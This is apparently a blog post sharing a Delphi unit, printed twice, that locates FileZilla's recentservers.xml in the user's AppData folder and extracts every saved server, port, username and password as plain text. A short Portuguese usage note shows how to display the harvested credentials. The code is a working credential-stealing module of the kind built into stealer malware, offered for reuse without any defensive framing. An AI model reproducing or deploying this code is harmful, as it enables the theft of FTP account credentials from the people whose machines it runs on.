{**************************************
Coded by Gakh
Credits: steve10120
www.ic0de.org
**************************************}
unit FileZilla;
interface
uses
Windows, SysUtils, Classes, ShlObj;
function GetFileZilla : String;
implementation
function GetAppDataPath : String;
var
ppID: PItemIdList;
szBuff: array[0..255] of Char;
begin
if SHGetSpecialFolderLocation(0, CSIDL_APPDATA, ppID) = NOERROR then
begin
SHGetPathFromIDList(ppID, szBuff);
Result := szBuff;
end;
end;
function GetFileZilla : String;
var
LoadFile : TStringList;
DataFile : TStringList;
Host : String;
User : String;
Pass : String;
Port : String;
begin
LoadFile := TStringList.Create;
DataFile := TStringList.Create;
if FileExists(GetAppDataPath + '\FileZilla\recentservers.xml') then
begin
LoadFile.LoadFromFile(GetAppDataPath + '\FileZilla\recentservers.xml');
while (Pos('<Host>', LoadFile.Text) <> 0) do
begin
// Hostname
Host := Copy(LoadFile.Text, Pos('<Host>', LoadFile.Text)+6, Length(LoadFile.Text));
Host := Copy(Host, 1, Pos('</Host>', Host)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Host>', ' ', [rfIgnoreCase]);
//Username
User := Copy(LoadFile.Text, Pos('<User>', LoadFile.Text)+6, Length(LoadFile.Text));
User := Copy(User, 1, Pos('</User>', User)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<User>', ' ', [rfIgnoreCase]);
// Password
Pass := Copy(LoadFile.Text, Pos('<Pass>', LoadFile.Text)+6, Length(LoadFile.Text));
Pass := Copy(Pass, 1, Pos('</Pass>', Pass)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Pass>', ' ', [rfIgnoreCase]);
// Port
Port := Copy(LoadFile.Text, Pos('<Port>', LoadFile.Text)+6, Length(LoadFile.Text));
Port := Copy(Port, 1, Pos('</Port>', Port)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Port>', ' ', [rfIgnoreCase]);
DataFile.Add('Server: ' + Host + #13#10 + 'Port: ' + Port + #13#10 + 'Username: ' + User + #13#10 + 'Password: ' + Pass);
end;
Result := DataFile.Text;
end else
Result := 'FileZilla probably not installed, or it has changed info storing technique.';
end;
end.
como usar:
WriteLn(GetFileZilla);
ou
showmessage(GetFilezilla);
Coded by Gakh
Credits: steve10120
www.ic0de.org
**************************************}
unit FileZilla;
interface
uses
Windows, SysUtils, Classes, ShlObj;
function GetFileZilla : String;
implementation
function GetAppDataPath : String;
var
ppID: PItemIdList;
szBuff: array[0..255] of Char;
begin
if SHGetSpecialFolderLocation(0, CSIDL_APPDATA, ppID) = NOERROR then
begin
SHGetPathFromIDList(ppID, szBuff);
Result := szBuff;
end;
end;
function GetFileZilla : String;
var
LoadFile : TStringList;
DataFile : TStringList;
Host : String;
User : String;
Pass : String;
Port : String;
begin
LoadFile := TStringList.Create;
DataFile := TStringList.Create;
if FileExists(GetAppDataPath + '\FileZilla\recentservers.xml') then
begin
LoadFile.LoadFromFile(GetAppDataPath + '\FileZilla\recentservers.xml');
while (Pos('<Host>', LoadFile.Text) <> 0) do
begin
// Hostname
Host := Copy(LoadFile.Text, Pos('<Host>', LoadFile.Text)+6, Length(LoadFile.Text));
Host := Copy(Host, 1, Pos('</Host>', Host)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Host>', ' ', [rfIgnoreCase]);
//Username
User := Copy(LoadFile.Text, Pos('<User>', LoadFile.Text)+6, Length(LoadFile.Text));
User := Copy(User, 1, Pos('</User>', User)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<User>', ' ', [rfIgnoreCase]);
// Password
Pass := Copy(LoadFile.Text, Pos('<Pass>', LoadFile.Text)+6, Length(LoadFile.Text));
Pass := Copy(Pass, 1, Pos('</Pass>', Pass)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Pass>', ' ', [rfIgnoreCase]);
// Port
Port := Copy(LoadFile.Text, Pos('<Port>', LoadFile.Text)+6, Length(LoadFile.Text));
Port := Copy(Port, 1, Pos('</Port>', Port)-1);
LoadFile.Text := StringReplace(LoadFile.Text, '<Port>', ' ', [rfIgnoreCase]);
DataFile.Add('Server: ' + Host + #13#10 + 'Port: ' + Port + #13#10 + 'Username: ' + User + #13#10 + 'Password: ' + Pass);
end;
Result := DataFile.Text;
end else
Result := 'FileZilla probably not installed, or it has changed info storing technique.';
end;
end.
como usar:
WriteLn(GetFileZilla);
ou
showmessage(GetFilezilla);
Nenhum comentário:
Postar um comentário